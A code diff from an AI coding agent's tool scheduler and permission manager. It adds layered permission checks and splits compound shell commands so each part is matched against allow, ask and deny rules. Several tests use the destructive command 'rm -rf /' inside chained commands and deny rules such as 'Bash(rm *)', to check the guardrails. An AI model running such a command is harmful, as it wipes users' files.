MOCK_TOOL_GET_CONFIRMATION_DETAILS,
} from '../test-utils/mock-tool.js';
import * as fs from 'node:fs/promises';
import * as path from 'node:path';
@ -83,14 +85,14 @@ class TestApprovalInvocation extends BaseToolInvocation<
return `Test tool ${this.params.id}`;
}
override async shouldConfirmExecute(): Promise<
ToolCallConfirmationDetails | false
> {
// Need confirmation unless approval mode is AUTO_EDIT
override async getDefaultPermission(): Promise<PermissionDecision> {
if (this.config.getApprovalMode() === ApprovalMode.AUTO_EDIT) {
return false;
return 'allow';
}
return 'ask';
}
override async getConfirmationDetails(): Promise<ToolCallConfirmationDetails> {
return {
type: 'edit',
title: `Confirm Test Tool ${this.params.id}`,
@ -127,9 +129,13 @@ class AbortDuringConfirmationInvocation extends BaseToolInvocation<
super(params);
}
override async shouldConfirmExecute(
override async getDefaultPermission(): Promise<PermissionDecision> {
return 'ask';
}
override async getConfirmationDetails(
_signal: AbortSignal,
): Promise<ToolCallConfirmationDetails | false> {
): Promise<ToolCallConfirmationDetails> {
this.abortController.abort();
throw this.abortError;
}
@ -213,7 +219,8 @@ describe('CoreToolScheduler', () => {
it('should cancel a tool call if the signal is aborted before confirmation', async () => {
const mockTool = new MockTool({
name: 'mockTool',
shouldConfirmExecute: MOCK_TOOL_SHOULD_CONFIRM_EXECUTE,
getDefaultPermission: MOCK_TOOL_GET_DEFAULT_PERMISSION,
getConfirmationDetails: MOCK_TOOL_GET_CONFIRMATION_DETAILS,
});
const declarativeTool = mockTool;
const mockToolRegistry = {
@ -998,9 +1005,13 @@ class MockEditToolInvocation extends BaseToolInvocation<
return 'A mock edit tool invocation';
}
override async shouldConfirmExecute(
override async getDefaultPermission(): Promise<PermissionDecision> {
return 'ask';
}
override async getConfirmationDetails(
_abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails | false> {
): Promise<ToolCallConfirmationDetails> {
return {
type: 'edit',
title: 'Confirm Edit',
@ -1140,7 +1151,8 @@ describe('CoreToolScheduler YOLO mode', () => {
const mockTool = new MockTool({
name: 'mockTool',
execute: executeFn,
shouldConfirmExecute: MOCK_TOOL_SHOULD_CONFIRM_EXECUTE,
getDefaultPermission: MOCK_TOOL_GET_DEFAULT_PERMISSION,
getConfirmationDetails: MOCK_TOOL_GET_CONFIRMATION_DETAILS,
});
const declarativeTool = mockTool;
@ -1503,118 +1515,6 @@ describe('CoreToolScheduler request queueing', () => {
expect(onAllToolCallsComplete.mock.calls[1][0][0].status).toBe('success');
});
it('should auto-approve a tool call if it is on the allowedTools list', async () => {
// Arrange
const executeFn = vi.fn().mockResolvedValue({
llmContent: 'Tool executed',
returnDisplay: 'Tool executed',
});
const mockTool = new MockTool({
name: 'mockTool',
execute: executeFn,
shouldConfirmExecute: MOCK_TOOL_SHOULD_CONFIRM_EXECUTE,
});
const declarativeTool = mockTool;
const toolRegistry = {
getTool: () => declarativeTool,
getToolByName: () => declarativeTool,
getFunctionDeclarations: () => [],
tools: new Map(),
discovery: {},
registerTool: () => {},
getToolByDisplayName: () => declarativeTool,
getTools: () => [],
discoverTools: async () => {},
getAllTools: () => [],
getToolsByServer: () => [],
} as unknown as ToolRegistry;
const onAllToolCallsComplete = vi.fn();
const onToolCallsUpdate = vi.fn();
// Configure the scheduler to auto-approve the specific tool call.
const mockConfig = {
getSessionId: () => 'test-session-id',
getUsageStatisticsEnabled: () => true,
getDebugMode: () => false,
getApprovalMode: () => ApprovalMode.DEFAULT, // Not YOLO mode
getAllowedTools: () => ['mockTool'], // Auto-approve this tool
getToolRegistry: () => toolRegistry,
getContentGeneratorConfig: () => ({
model: 'test-model',
authType: 'gemini',
}),
getShellExecutionConfig: () => ({
terminalWidth: 80,
terminalHeight: 24,
}),
getTerminalWidth: vi.fn(() => 80),
getTerminalHeight: vi.fn(() => 24),
storage: {
getProjectTempDir: () => '/tmp',
},
getTruncateToolOutputThreshold: () =>
DEFAULT_TRUNCATE_TOOL_OUTPUT_THRESHOLD,
getTruncateToolOutputLines: () => DEFAULT_TRUNCATE_TOOL_OUTPUT_LINES,
getUseModelRouter: () => false,
getGeminiClient: () => null, // No client needed for these tests
getChatRecordingService: () => undefined,
} as unknown as Config;
const scheduler = new CoreToolScheduler({
config: mockConfig,
onAllToolCallsComplete,
onToolCallsUpdate,
getPreferredEditor: () => 'vscode',
onEditorClose: vi.fn(),
});
const abortController = new AbortController();
const request = {
callId: '1',
name: 'mockTool',
args: { param: 'value' },
isClientInitiated: false,
prompt_id: 'prompt-auto-approved',
};
// Act
await scheduler.schedule([request], abortController.signal);
// Wait for the tool execution to complete
await vi.waitFor(() => {
expect(onAllToolCallsComplete).toHaveBeenCalled();
});
// Assert
// 1. The tool's execute method was called directly.
expect(executeFn).toHaveBeenCalledWith({ param: 'value' });
// 2. The tool call status never entered 'awaiting_approval'.
const statusUpdates = onToolCallsUpdate.mock.calls
.map((call) => (call[0][0] as ToolCall)?.status)
.filter(Boolean);
expect(statusUpdates).not.toContain('awaiting_approval');
expect(statusUpdates).toEqual([
'validating',
'scheduled',
'executing',
'success',
]);
// 3. The final callback indicates the tool call was successful.
expect(onAllToolCallsComplete).toHaveBeenCalled();
const completedCalls = onAllToolCallsComplete.mock
.calls[0][0] as ToolCall[];
expect(completedCalls).toHaveLength(1);
const completedCall = completedCalls[0];
expect(completedCall.status).toBe('success');
if (completedCall.status === 'success') {
expect(completedCall.response.resultDisplay).toBe('Tool executed');
}
});
it('should handle two synchronous calls to schedule', async () => {
const executeFn = vi.fn().mockResolvedValue({
llmContent: 'Tool executed',

View file

@ -51,7 +51,6 @@ import {
import * as Diff from 'diff';
import * as fs from 'node:fs/promises';
import * as path from 'node:path';
import { doesToolInvocationMatch } from '../utils/tool-utils.js';
import levenshtein from 'fast-levenshtein';
import { getPlanModeSystemReminder } from './prompts.js';
import { ShellToolInvocation } from '../tools/shell.js';
@ -872,10 +871,73 @@ export class CoreToolScheduler {
continue;
}
const confirmationDetails =
await invocation.shouldConfirmExecute(signal);
// =================================================================
// L3→L4→L5 Permission Flow
// =================================================================
if (!confirmationDetails) {
// ---- L3: Tool's default permission ----
const defaultPermission: string =
await invocation.getDefaultPermission();
// ---- L4: PermissionManager override (if relevant rules exist) ----
const pm = this.config.getPermissionManager?.();
let finalPermission = defaultPermission;
let pmForcedAsk = false;
if (pm && defaultPermission !== 'deny') {
// Build invocation context from tool params.
const params = invocation.params as Record<string, unknown>;
const shellCommand =
'command' in params ? String(params['command']) : undefined;
const filePath =
typeof params['absolute_path'] === 'string'
? params['absolute_path']
: typeof params['file_path'] === 'string'
? params['file_path']
: undefined;
let domain: string | undefined;
if (typeof params['url'] === 'string') {
try {
domain = new URL(params['url']).hostname;
} catch {
// malformed URL — leave domain undefined
}
}
// Generic specifier for literal matching (Skill name, Task subagent type, etc.)
const literalSpecifier =
typeof params['skill'] === 'string'
? params['skill']
: typeof params['subagent_type'] === 'string'
? params['subagent_type']
: undefined;
const pmCtx = {
toolName: reqInfo.name,
command: shellCommand,
filePath,
domain,
specifier: literalSpecifier,
};
if (pm.hasRelevantRules(pmCtx)) {
const pmDecision = pm.evaluate(pmCtx);
if (pmDecision !== 'default') {
finalPermission = pmDecision;
// If PM explicitly forces 'ask', adding allow rules won't help
// because ask has higher priority. Hide "Always allow" options.
if (pmDecision === 'ask') {
pmForcedAsk = true;
}
}
}
}
// ---- L5: Final decision based on permission + ApprovalMode ----
const approvalMode = this.config.getApprovalMode();
const isPlanMode = approvalMode === ApprovalMode.PLAN;
const isExitPlanModeTool = reqInfo.name === 'exit_plan_mode';
if (finalPermission === 'allow') {
// Auto-approve: tool is inherently safe (read-only) or PM allows
this.setToolCallOutcome(
reqInfo.callId,
ToolConfirmationOutcome.ProceedAlways,
@ -884,83 +946,65 @@ export class CoreToolScheduler {
continue;
}
// Determine if this invocation is auto-approved via PermissionManager
const pm = this.config.getPermissionManager?.();
const isAutoApproved = (() => {
if (this.config.getApprovalMode() === ApprovalMode.YOLO)
return true;
if (pm) {
// Build invocation context from tool params.
// Different tool types contribute different context fields:
// - Shell tools: command
// - File read/edit/write tools: filePath (via absolute_path or file_path)
// - WebFetch: domain (extracted from url param)
const params = invocation.params as Record<string, unknown>;
const shellCommand =
'command' in params ? String(params['command']) : undefined;
const filePath =
typeof params['absolute_path'] === 'string'
? params['absolute_path']
: typeof params['file_path'] === 'string'
? params['file_path']
: undefined;
let domain: string | undefined;
if (typeof params['url'] === 'string') {
try {
domain = new URL(params['url']).hostname;
} catch {
// malformed URL — leave domain undefined
}
}
const decision = pm.evaluate({
toolName: reqInfo.name,
command: shellCommand,
filePath,
domain,
});
return decision === 'allow';
}
// Legacy fallback: check getAllowedTools() when PM is not available
const allowedTools = this.config.getAllowedTools() || [];
return doesToolInvocationMatch(
toolCall.tool,
invocation,
allowedTools,
if (finalPermission === 'deny') {
// Hard deny: security violation or PM explicit deny
const denyMessage =
defaultPermission === 'deny'
? `Tool "${reqInfo.name}" is denied: command substitution is not allowed for security reasons.`
: `Tool "${reqInfo.name}" is denied by permission rules.`;
this.setStatusInternal(
reqInfo.callId,
'error',
createErrorResponse(
reqInfo,
new Error(denyMessage),
ToolErrorType.EXECUTION_DENIED,
),
);
})();
continue;
}
const isPlanMode =
this.config.getApprovalMode() === ApprovalMode.PLAN;
const isExitPlanModeTool = reqInfo.name === 'exit_plan_mode';
if (isPlanMode && !isExitPlanModeTool) {
if (confirmationDetails) {
this.setStatusInternal(reqInfo.callId, 'error', {
callId: reqInfo.callId,
responseParts: convertToFunctionResponse(
reqInfo.name,
reqInfo.callId,
getPlanModeSystemReminder(),
),
resultDisplay: 'Plan mode blocked a non-read-only tool call.',
error: undefined,
errorType: undefined,
});
} else {
this.setStatusInternal(reqInfo.callId, 'scheduled');
}
} else if (isAutoApproved) {
// finalPermission === 'ask' (or 'default' from PM → treat as ask)
// Apply ApprovalMode overrides
if (approvalMode === ApprovalMode.YOLO) {
this.setToolCallOutcome(
reqInfo.callId,
ToolConfirmationOutcome.ProceedAlways,
);
this.setStatusInternal(reqInfo.callId, 'scheduled');
} else if (isPlanMode && !isExitPlanModeTool) {
this.setStatusInternal(reqInfo.callId, 'error', {
callId: reqInfo.callId,
responseParts: convertToFunctionResponse(
reqInfo.name,
reqInfo.callId,
getPlanModeSystemReminder(),
),
resultDisplay: 'Plan mode blocked a non-read-only tool call.',
error: undefined,
errorType: undefined,
});
} else {
// Get confirmation details from the tool
const confirmationDetails =
await invocation.getConfirmationDetails(signal);
// AUTO_EDIT mode: auto-approve edit-like and info tools
if (
approvalMode === ApprovalMode.AUTO_EDIT &&
(confirmationDetails.type === 'edit' ||
confirmationDetails.type === 'info')
) {
this.setToolCallOutcome(
reqInfo.callId,
ToolConfirmationOutcome.ProceedAlways,
);
this.setStatusInternal(reqInfo.callId, 'scheduled');
continue;
}
/**
* In non-interactive mode where no user will respond to approval prompts,
* and not running as IDE companion or Zed integration, automatically deny approval.
* This is intended to create an explicit denial of the tool call,
* rather than silently waiting for approval and hanging forever.
* In non-interactive mode, automatically deny.
*/
const shouldAutoDeny =
!this.config.isInteractive() &&
@ -1008,6 +1052,10 @@ export class CoreToolScheduler {
const originalOnConfirm = confirmationDetails.onConfirm;
const wrappedConfirmationDetails: ToolCallConfirmationDetails = {
...confirmationDetails,
// When PM has an explicit 'ask' rule, 'always allow' would be
// ineffective because ask takes priority over allow.
// Hide the option so users aren't misled.
...(pmForcedAsk ? { hideAlwaysAllow: true } : {}),
onConfirm: (
outcome: ToolConfirmationOutcome,
payload?: ToolConfirmationPayload,
@ -1070,7 +1118,43 @@ export class CoreToolScheduler {
await originalOnConfirm(outcome, payload);
if (outcome === ToolConfirmationOutcome.ProceedAlways) {
if (
outcome === ToolConfirmationOutcome.ProceedAlways ||
outcome === ToolConfirmationOutcome.ProceedAlwaysProject ||
outcome === ToolConfirmationOutcome.ProceedAlwaysUser
) {
// Persist permission rules for Project/User scope outcomes
if (
outcome === ToolConfirmationOutcome.ProceedAlwaysProject ||
outcome === ToolConfirmationOutcome.ProceedAlwaysUser
) {
const scope =
outcome === ToolConfirmationOutcome.ProceedAlwaysProject
? 'project'
: 'user';
// Read permissionRules from the stored confirmation details first,
// falling back to payload for backward compatibility.
const details = (toolCall as WaitingToolCall | undefined)
?.confirmationDetails;
const detailsRules = (details as Record<string, unknown> | undefined)?.[
'permissionRules'
] as string[] | undefined;
const payloadRules = payload?.permissionRules;
const rules = payloadRules ?? detailsRules ?? [];
const persistFn = this.config.getOnPersistPermissionRule?.();
const pm = this.config.getPermissionManager?.();
if (rules.length > 0) {
for (const rule of rules) {
// 1. Persist to disk (settings.json)
if (persistFn) {
await persistFn(scope, 'allow', rule);
}
// 2. Immediately update in-memory PermissionManager so the
// new rule takes effect without restart.
pm?.addPersistentRule(rule, 'allow');
}
}
}
await this.autoApproveCompatiblePendingTools(signal, callId);
}
@ -1430,10 +1514,57 @@ export class CoreToolScheduler {
for (const pendingTool of pendingTools) {
try {
const stillNeedsConfirmation =
await pendingTool.invocation.shouldConfirmExecute(signal);
// Re-run L3→L4 to see if the tool can now be auto-approved
const defaultPermission =
await pendingTool.invocation.getDefaultPermission();
let finalPermission = defaultPermission;
if (!stillNeedsConfirmation) {
// L4: PM override
const pm = this.config.getPermissionManager?.();
if (pm && defaultPermission !== 'deny') {
const params = pendingTool.invocation.params as Record<
string,
unknown
>;
const shellCommand =
'command' in params ? String(params['command']) : undefined;
const filePath =
typeof params['absolute_path'] === 'string'
? params['absolute_path']
: typeof params['file_path'] === 'string'
? params['file_path']
: undefined;
let domain: string | undefined;
if (typeof params['url'] === 'string') {
try {
domain = new URL(params['url']).hostname;
} catch {
// malformed URL
}
}
// Generic specifier for literal matching (Skill name, Task subagent type, etc.)
const literalSpecifier =
typeof params['skill'] === 'string'
? params['skill']
: typeof params['subagent_type'] === 'string'
? params['subagent_type']
: undefined;
const pmCtx = {
toolName: pendingTool.request.name,
command: shellCommand,
filePath,
domain,
specifier: literalSpecifier,
};
if (pm.hasRelevantRules(pmCtx)) {
const pmDecision = pm.evaluate(pmCtx);
if (pmDecision !== 'default') {
finalPermission = pmDecision;
}
}
}
if (finalPermission === 'allow') {
this.setToolCallOutcome(
pendingTool.request.callId,
ToolConfirmationOutcome.ProceedAlways,

View file

@ -43,10 +43,6 @@ export interface ServerTool {
params: Record<string, unknown>,
signal?: AbortSignal,
): Promise<ToolResult>;
shouldConfirmExecute(
params: Record<string, unknown>,
abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails | false>;
}
export enum GeminiEventType {

View file

@ -168,7 +168,6 @@ export * from './tools/task.js';
export * from './tools/todoWrite.js';
export * from './tools/tool-error.js';
export * from './tools/tool-registry.js';
export * from './tools/tools.js';
export * from './tools/web-fetch.js';
export * from './tools/web-search/index.js';
export * from './tools/write-file.js';

View file

@ -16,6 +16,7 @@ import {
resolvePathPattern,
getSpecifierKind,
toolMatchesRuleToolName,
splitCompoundCommand,
} from './rule-parser.js';
import { PermissionManager } from './permission-manager.js';
import type { PermissionManagerConfig } from './permission-manager.js';
@ -45,7 +46,7 @@ describe('resolveToolName', () => {
});
it('resolves Agent category', () => {
expect(resolveToolName('Agent')).toBe('Agent');
expect(resolveToolName('Agent')).toBe('task');
});
it('returns unknown names unchanged', () => {
@ -154,7 +155,7 @@ describe('parseRule', () => {
it('parses Agent with literal specifier', () => {
const r = parseRule('Agent(Explore)');
expect(r.toolName).toBe('Agent');
expect(r.toolName).toBe('task');
expect(r.specifier).toBe('Explore');
expect(r.specifierKind).toBe('literal');
});
@ -215,6 +216,16 @@ describe('matchesCommandPattern', () => {
expect(matchesCommandPattern('npm run *', 'npm run build')).toBe(true);
});
it('space-star requires word boundary (ls * does not match lsof)', () => {
expect(matchesCommandPattern('ls *', 'ls -la')).toBe(true);
expect(matchesCommandPattern('ls *', 'lsof')).toBe(false);
});
it('no-space-star allows prefix matching (ls* matches lsof)', () => {
expect(matchesCommandPattern('ls*', 'ls -la')).toBe(true);
expect(matchesCommandPattern('ls*', 'lsof')).toBe(true);
});
it('does not match different command', () => {
expect(matchesCommandPattern('git *', 'echo hello')).toBe(false);
});
@ -279,47 +290,19 @@ describe('matchesCommandPattern', () => {
//
// The safety benefit: a pattern like `rm *` would NOT match
// `git status && rm -rf /` because the first command is `git status`.
describe('shell operator boundaries', () => {
it('first-command extraction: git * matches first cmd in compound', () => {
// First command is "git status", which matches "git *"
expect(matchesCommandPattern('git *', 'git status && rm -rf /')).toBe(
true,
);
});
it('second command is not reachable: rm * does not match compound starting with git', () => {
// First command is "git status", NOT "rm -rf /"
expect(matchesCommandPattern('rm *', 'git status && rm -rf /')).toBe(
false,
);
});
it('pipe boundary: grep * does not match first command', () => {
// First command is "git status", not "grep foo"
expect(matchesCommandPattern('grep *', 'git status | grep foo')).toBe(
false,
);
});
it('semicolon boundary: rm * does not match first command', () => {
// First command is "git status", not "rm -rf /"
expect(matchesCommandPattern('rm *', 'git status; rm -rf /')).toBe(false);
});
it('|| boundary: echo * does not match first command', () => {
expect(matchesCommandPattern('echo *', 'git status || echo fail')).toBe(
false,
);
});
// matchesCommandPattern operates on simple commands only.
// Compound command splitting is handled by PermissionManager.evaluate().
// These tests verify that matchesCommandPattern works correctly on
// individual simple commands (the sub-commands after splitting).
describe('simple command matching (no operators)', () => {
it('matches when no operators are present', () => {
expect(
matchesCommandPattern('git *', 'git commit -m "hello world"'),
).toBe(true);
});
it('operators inside quotes are not boundaries', () => {
// "echo 'a && b'" → first command is the whole thing because && is inside quotes
it('operators inside quotes are not boundaries for splitCompoundCommand', () => {
// "echo 'a && b'" → the && is inside quotes, not an operator
expect(matchesCommandPattern('echo *', "echo 'a && b'")).toBe(true);
});
});
@ -351,6 +334,69 @@ describe('matchesCommandPattern', () => {
});
});
// ─── splitCompoundCommand ────────────────────────────────────────────────────
describe('splitCompoundCommand', () => {
it('simple command returns single-element array', () => {
expect(splitCompoundCommand('git status')).toEqual(['git status']);
});
it('splits on &&', () => {
expect(splitCompoundCommand('git status && rm -rf /')).toEqual([
'git status',
'rm -rf /',
]);
});
it('splits on ||', () => {
expect(splitCompoundCommand('git push || echo failed')).toEqual([
'git push',
'echo failed',
]);
});
it('splits on ;', () => {
expect(splitCompoundCommand('echo hello; echo world')).toEqual([
'echo hello',
'echo world',
]);
});
it('splits on |', () => {
expect(splitCompoundCommand('git log | grep fix')).toEqual([
'git log',
'grep fix',
]);
});
it('handles three-part compound', () => {
expect(splitCompoundCommand('a && b && c')).toEqual(['a', 'b', 'c']);
});
it('handles mixed operators', () => {
expect(splitCompoundCommand('a && b | c; d')).toEqual(['a', 'b', 'c', 'd']);
});
it('does not split on operators inside single quotes', () => {
expect(splitCompoundCommand("echo 'a && b'")).toEqual(["echo 'a && b'"]);
});
it('does not split on operators inside double quotes', () => {
expect(splitCompoundCommand('echo "a && b"')).toEqual(['echo "a && b"']);
});
it('handles escaped characters', () => {
expect(splitCompoundCommand('echo a \\&& b')).toEqual(['echo a \\&& b']);
});
it('trims whitespace around sub-commands', () => {
expect(splitCompoundCommand(' git status && rm -rf / ')).toEqual([
'git status',
'rm -rf /',
]);
});
});
// ─── resolvePathPattern ──────────────────────────────────────────────────────
describe('resolvePathPattern', () => {
@ -541,17 +587,11 @@ describe('matchesRule', () => {
expect(matchesRule(rule, 'run_shell_command', 'echo hello')).toBe(false);
});
it('operator boundary: pattern matches first command only', () => {
it('matchesRule checks individual simple commands (compound splitting is at PM level)', () => {
const rule = parseRule('Bash(git *)');
// First command is "git status" which matches "git *" → true
expect(
matchesRule(rule, 'run_shell_command', 'git status && rm -rf /'),
).toBe(true);
// rm * would not match because first command is "git status"
const rmRule = parseRule('Bash(rm *)');
expect(
matchesRule(rmRule, 'run_shell_command', 'git status && rm -rf /'),
).toBe(false);
// matchesRule receives a simple command (already split by PM)
expect(matchesRule(rule, 'run_shell_command', 'git status')).toBe(true);
expect(matchesRule(rule, 'run_shell_command', 'rm -rf /')).toBe(false);
});
// Meta-category matching: Read
@ -645,10 +685,30 @@ describe('matchesRule', () => {
// Agent literal matching
it('Agent literal specifier', () => {
const rule = parseRule('Agent(Explore)');
// Agent rules use `command` field for the agent name
expect(matchesRule(rule, 'Agent', 'Explore')).toBe(true);
expect(matchesRule(rule, 'Agent', 'Plan')).toBe(false);
expect(matchesRule(rule, 'Agent')).toBe(false); // no agent name
// Agent is an alias for 'task'; specifier matches via the specifier field
expect(
matchesRule(
rule,
'task',
undefined,
undefined,
undefined,
undefined,
'Explore',
),
).toBe(true);
expect(
matchesRule(
rule,
'task',
undefined,
undefined,
undefined,
undefined,
'Plan',
),
).toBe(false);
expect(matchesRule(rule, 'task')).toBe(false); // no specifier
});
// MCP tool matching
@ -785,6 +845,189 @@ describe('PermissionManager', () => {
});
});
describe('compound command evaluation', () => {
it('all sub-commands allowed → allow', () => {
pm = new PermissionManager(
makeConfig({
permissionsAllow: ['Bash(safe-cmd *)', 'Bash(one-cmd *)'],
}),
);
pm.initialize();
expect(
pm.evaluate({
toolName: 'run_shell_command',
command: 'safe-cmd arg1 && one-cmd arg2',
}),
).toBe('allow');
});
it('one sub-command unmatched → default (most restrictive)', () => {
pm = new PermissionManager(
makeConfig({
permissionsAllow: ['Bash(safe-cmd *)'],
}),
);
pm.initialize();
expect(
pm.evaluate({
toolName: 'run_shell_command',
command: 'safe-cmd && two-cmd',
}),
).toBe('default');
});
it('one sub-command denied → deny', () => {
pm = new PermissionManager(
makeConfig({
permissionsAllow: ['Bash(safe-cmd *)'],
permissionsDeny: ['Bash(evil-cmd *)'],
}),
);
pm.initialize();
expect(
pm.evaluate({
toolName: 'run_shell_command',
command: 'safe-cmd && evil-cmd rm-all',
}),
).toBe('deny');
});
it('one sub-command ask + one allow → ask', () => {
pm = new PermissionManager(
makeConfig({
permissionsAllow: ['Bash(git *)'],
permissionsAsk: ['Bash(npm *)'],
}),
);
pm.initialize();
expect(
pm.evaluate({
toolName: 'run_shell_command',
command: 'git status && npm publish',
}),
).toBe('ask');
});
it('pipe compound: all matched → allow', () => {
pm = new PermissionManager(
makeConfig({
permissionsAllow: ['Bash(git *)', 'Bash(grep *)'],
}),
);
pm.initialize();
expect(
pm.evaluate({
toolName: 'run_shell_command',
command: 'git log | grep fix',
}),
).toBe('allow');
});
it('pipe compound: second unmatched → default', () => {
pm = new PermissionManager(
makeConfig({
permissionsAllow: ['Bash(git *)'],
}),
);
pm.initialize();
expect(
pm.evaluate({
toolName: 'run_shell_command',
command: 'git log | grep fix',
}),
).toBe('default');
});
it('semicolon compound: deny in second → deny', () => {
pm = new PermissionManager(
makeConfig({
permissionsAllow: ['Bash(echo *)'],
permissionsDeny: ['Bash(rm *)'],
}),
);
pm.initialize();
expect(
pm.evaluate({
toolName: 'run_shell_command',
command: 'echo hello; rm -rf /',
}),
).toBe('deny');
});
it('|| compound: all allowed → allow', () => {
pm = new PermissionManager(
makeConfig({
permissionsAllow: ['Bash(git *)', 'Bash(echo *)'],
}),
);
pm.initialize();
expect(
pm.evaluate({
toolName: 'run_shell_command',
command: 'git push || echo failed',
}),
).toBe('allow');
});
it('operators inside quotes: treated as single command', () => {
pm = new PermissionManager(
makeConfig({
permissionsAllow: ['Bash(echo *)'],
}),
);
pm.initialize();
expect(
pm.evaluate({
toolName: 'run_shell_command',
command: "echo 'a && b'",
}),
).toBe('allow');
});
it('three-part compound: all must pass', () => {
pm = new PermissionManager(
makeConfig({
permissionsAllow: ['Bash(git *)', 'Bash(npm *)', 'Bash(echo *)'],
}),
);
pm.initialize();
expect(
pm.evaluate({
toolName: 'run_shell_command',
command: 'git add . && npm test && echo done',
}),
).toBe('allow');
});
it('three-part compound: one unmatched → default', () => {
pm = new PermissionManager(
makeConfig({
permissionsAllow: ['Bash(git *)', 'Bash(echo *)'],
}),
);
pm.initialize();
expect(
pm.evaluate({
toolName: 'run_shell_command',
command: 'git add . && npm test && echo done',
}),
).toBe('default');
});
it('isCommandAllowed also handles compound commands', () => {
pm = new PermissionManager(
makeConfig({
permissionsAllow: ['Bash(safe-cmd *)', 'Bash(one-cmd *)'],
permissionsDeny: ['Bash(evil-cmd *)'],
}),
);
pm.initialize();
expect(pm.isCommandAllowed('safe-cmd a && one-cmd b')).toBe('allow');
expect(pm.isCommandAllowed('safe-cmd a && unknown-cmd')).toBe('default');
expect(pm.isCommandAllowed('safe-cmd a && evil-cmd b')).toBe('deny');
});
});
describe('file path evaluation', () => {
beforeEach(() => {
pm = new PermissionManager(

View file

@ -9,6 +9,7 @@ import {
parseRule,
matchesRule,
resolveToolName,
splitCompoundCommand,
} from './rule-parser.js';
import type { PathMatchContext } from './rule-parser.js';
import type {
@ -108,7 +109,26 @@ export class PermissionManager {
* @returns A PermissionDecision indicating how to handle this tool call.
*/
evaluate(ctx: PermissionCheckContext): PermissionDecision {
const { toolName, command, filePath, domain } = ctx;
const { command } = ctx;
// For shell commands, split compound commands and evaluate each
// sub-command independently, then return the most restrictive result.
// Priority order (most to least restrictive): deny > ask > default > allow
if (command !== undefined) {
const subCommands = splitCompoundCommand(command);
if (subCommands.length > 1) {
return this.evaluateCompoundCommand(ctx, subCommands);
}
}
return this.evaluateSingle(ctx);
}
/**
* Evaluate a single (non-compound) context against all rules.
*/
private evaluateSingle(ctx: PermissionCheckContext): PermissionDecision {
const { toolName, command, filePath, domain, specifier } = ctx;
// Build path context for resolving relative path patterns
const pathCtx: PathMatchContext | undefined =
@ -119,7 +139,14 @@ export class PermissionManager {
}
: undefined;
const matchArgs = [toolName, command, filePath, domain, pathCtx] as const;
const matchArgs = [
toolName,
command,
filePath,
domain,
pathCtx,
specifier,
] as const;
// Priority 1: deny rules (session first, then persistent)
for (const rule of [
@ -154,6 +181,50 @@ export class PermissionManager {
return 'default';
}
/**
* Evaluate a compound command by splitting it into sub-commands,
* evaluating each independently, and returning the most restrictive result.
*
* Restriction order: deny > ask > default > allow
*
* Example: with rules `allow: [safe-cmd *, one-cmd *]`
* - "safe-cmd && one-cmd" both allow allow
* - "safe-cmd && two-cmd" allow + default default
* - "safe-cmd && evil-cmd" (deny: [evil-cmd]) allow + deny deny
*/
private evaluateCompoundCommand(
ctx: PermissionCheckContext,
subCommands: string[],
): PermissionDecision {
const PRIORITY: Record<PermissionDecision, number> = {
deny: 3,
ask: 2,
default: 1,
allow: 0,
};
let mostRestrictive: PermissionDecision = 'allow';
for (const subCmd of subCommands) {
const subCtx: PermissionCheckContext = {
...ctx,
command: subCmd,
};
const decision = this.evaluateSingle(subCtx);
if (PRIORITY[decision] > PRIORITY[mostRestrictive]) {
mostRestrictive = decision;
}
// Short-circuit: deny is the most restrictive possible
if (mostRestrictive === 'deny') {
return 'deny';
}
}
return mostRestrictive;
}
// ---------------------------------------------------------------------------
// Registry-level helper
// ---------------------------------------------------------------------------
@ -191,6 +262,63 @@ export class PermissionManager {
});
}
// ---------------------------------------------------------------------------
// Relevance check
// ---------------------------------------------------------------------------
/**
* Check whether any rule (allow, ask, or deny) in the current rule set
* matches the given invocation context.
*
* This allows the scheduler to skip the full `evaluate()` call when no
* rules are relevant, preserving the tool's `getDefaultPermission()` result
* as-is.
*
* "Relevant" means at least one rule's toolName matches AND, if the rule
* has a specifier, it also matches the context's command/filePath/domain.
*
* Examples for Shell executing `git clone xxx`:
* - "Bash" matches (tool-level rule, no specifier)
* - "Bash(git *)" matches (git sub-command wildcard)
* - "Bash(git clone *)" matches (exact sub-command wildcard)
* - "Bash(git add *)" no match (different sub-command)
* - "Edit" no match (different tool)
*
* @param ctx - Permission check context.
* @returns true if at least one rule matches.
*/
hasRelevantRules(ctx: PermissionCheckContext): boolean {
const { toolName, command, filePath, domain, specifier } = ctx;
const pathCtx: PathMatchContext | undefined =
this.config.getProjectRoot && this.config.getCwd
? {
projectRoot: this.config.getProjectRoot(),
cwd: this.config.getCwd(),
}
: undefined;
const matchArgs = [
toolName,
command,
filePath,
domain,
pathCtx,
specifier,
] as const;
const allRules = [
...this.sessionRules.allow,
...this.persistentRules.allow,
...this.sessionRules.ask,
...this.persistentRules.ask,
...this.sessionRules.deny,
...this.persistentRules.deny,
];
return allRules.some((rule) => matchesRule(rule, ...matchArgs));
}
// ---------------------------------------------------------------------------
// Session rule management
// ---------------------------------------------------------------------------
@ -240,7 +368,11 @@ export class PermissionManager {
*/
addPersistentRule(raw: string, type: RuleType): PermissionRule {
const rule = parseRule(raw);
this.persistentRules[type].push(rule);
// Deduplicate: skip if a rule with the same raw string already exists
const exists = this.persistentRules[type].some((r) => r.raw === rule.raw);
if (!exists) {
this.persistentRules[type].push(rule);
}
return rule;
}

View file

@ -103,9 +103,9 @@ export const TOOL_NAME_ALIASES: Readonly<Record<string, string>> = {
// Legacy edit tool name
replace: 'edit',
// Agent (subagent) rules — "Agent" is a category prefix.
// "Agent(Explore)" is parsed with toolName = "Agent" and specifier = "Explore"
Agent: 'Agent',
// Agent (subagent) rules — "Agent" is a user-friendly alias for the Task tool.
// "Agent(Explore)" is parsed with toolName = "task" and specifier = "Explore"
Agent: 'task',
};
/**
@ -209,7 +209,7 @@ export function toolMatchesRuleToolName(
* "Read(./secrets/**)" gitignore-style path match
* "Edit(/src/**\/*.ts)" gitignore-style path match
* "WebFetch(domain:x.com)" domain match
* "Agent(Explore)" subagent name literal match
* "Agent(Explore)" subagent type literal match (alias for Task)
* "mcp__server__tool" MCP tool (no specifier needed)
*/
export function parseRule(raw: string): PermissionRule {
@ -265,19 +265,24 @@ export function parseRules(raws: string[]): PermissionRule[] {
const SHELL_OPERATORS = ['&&', '||', ';;', '|&', '|', ';'];
/**
* Extract the first simple command from a compound shell command string.
* Stops at the first shell operator boundary (&&, ||, ;, |) that is not
* inside quotes.
* Split a compound shell command into its individual simple commands
